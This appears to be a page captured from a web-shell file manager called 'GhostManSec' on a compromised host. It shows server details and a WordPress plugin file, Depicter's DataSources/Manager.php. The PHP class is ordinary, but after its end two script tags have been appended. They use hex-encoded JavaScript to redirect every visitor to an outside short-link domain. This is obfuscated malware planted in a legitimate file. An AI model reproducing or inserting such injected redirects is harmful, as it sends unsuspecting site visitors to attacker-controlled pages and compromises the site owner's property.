GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/src/DataSources/Manager.php
<?php
namespace Depicter\DataSources;

use Depicter\DataSources\Tags\Manager as TagsManager;

/**
 * Chained api to access all data sources
 */
class Manager {

	/**
	 * Returns the instance of posts class
	 *
	 * @return Posts
	 */
	public function posts(): Posts {
		return \Depicter::resolve('depicter.dataSources.posts');
	}

	/**
	 * Returns the instance of products class
	 *
	 * @return Products
	 */
	public function products(): Products {
		return \Depicter::resolve('depicter.dataSources.products');
	}

	/**
	 * Returns the instance of handpicked products class
	 *
	 * @return HandPickedProducts
	 */
	public function handPickedProducts(): HandPickedProducts {
		return \Depicter::resolve('depicter.dataSources.handPickedProducts');
	}

	/**
	 * Returns the instance of GooglePlacesReview class
	 *
	 * @return GooglePlaces
	 */
	public function googlePlaces(): GooglePlaces {
		return \Depicter::resolve('depicter.dataSources.google.places');
	}

	/**
	 * Returns the instance of tags Manager class
	 *
	 * @return TagsManager
	 */
	public function tagsManager(): TagsManager {
		return \Depicter::resolve('depicter.dataSources.tags.manager');
	}

	/**
	 * Get DataSource instance by type
	 *
	 * @param string $type
	 *
	 * @return DataSourceInterface
	 */
	public function getByType( string $type ){
		$result = $this->posts();

		switch ( $type ) {

			case 'wpPost':
			case 'wpPostHandpicked':
			case 'wpPage':
			case 'wpPageHandpicked':
			case 'wpCPT':
				$result = $this->posts();
				break;

			case 'wooProduct':
			case 'wooProducts':
				$result = $this->products();
				break;

			case 'wooHandpicked':
				$result = $this->handPickedProducts();
				break;

			case 'googlePlaceReview':
				$result = $this->googlePlaces();
				break;

			case 'catalogs':
				$result = \Depicter::resolve('depicter.dataSources.catalogs');
				break;

			default:
				break;
		}

		return $result;
	}

	/**
	 * Get post type by DataSource type
	 *
	 * @param string $type
	 *
	 * @return string
	 */
	public function getPostTypeByType( string $type ){
		$result = '';

		switch ( $type ) {

			case 'wpPost':
			case 'wpPostHandpicked':
			case 'wpCPT':
				$result = 'post';
				break;

			case 'wpPage':
			case 'wpPageHandpicked':
				$result = 'page';
				break;

			case 'wooProduct':
			case 'wooProducts':
			case 'wooHandpicked':
				$result = 'product';
				break;

			default:
				break;
		}

		return $result;
	}

}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>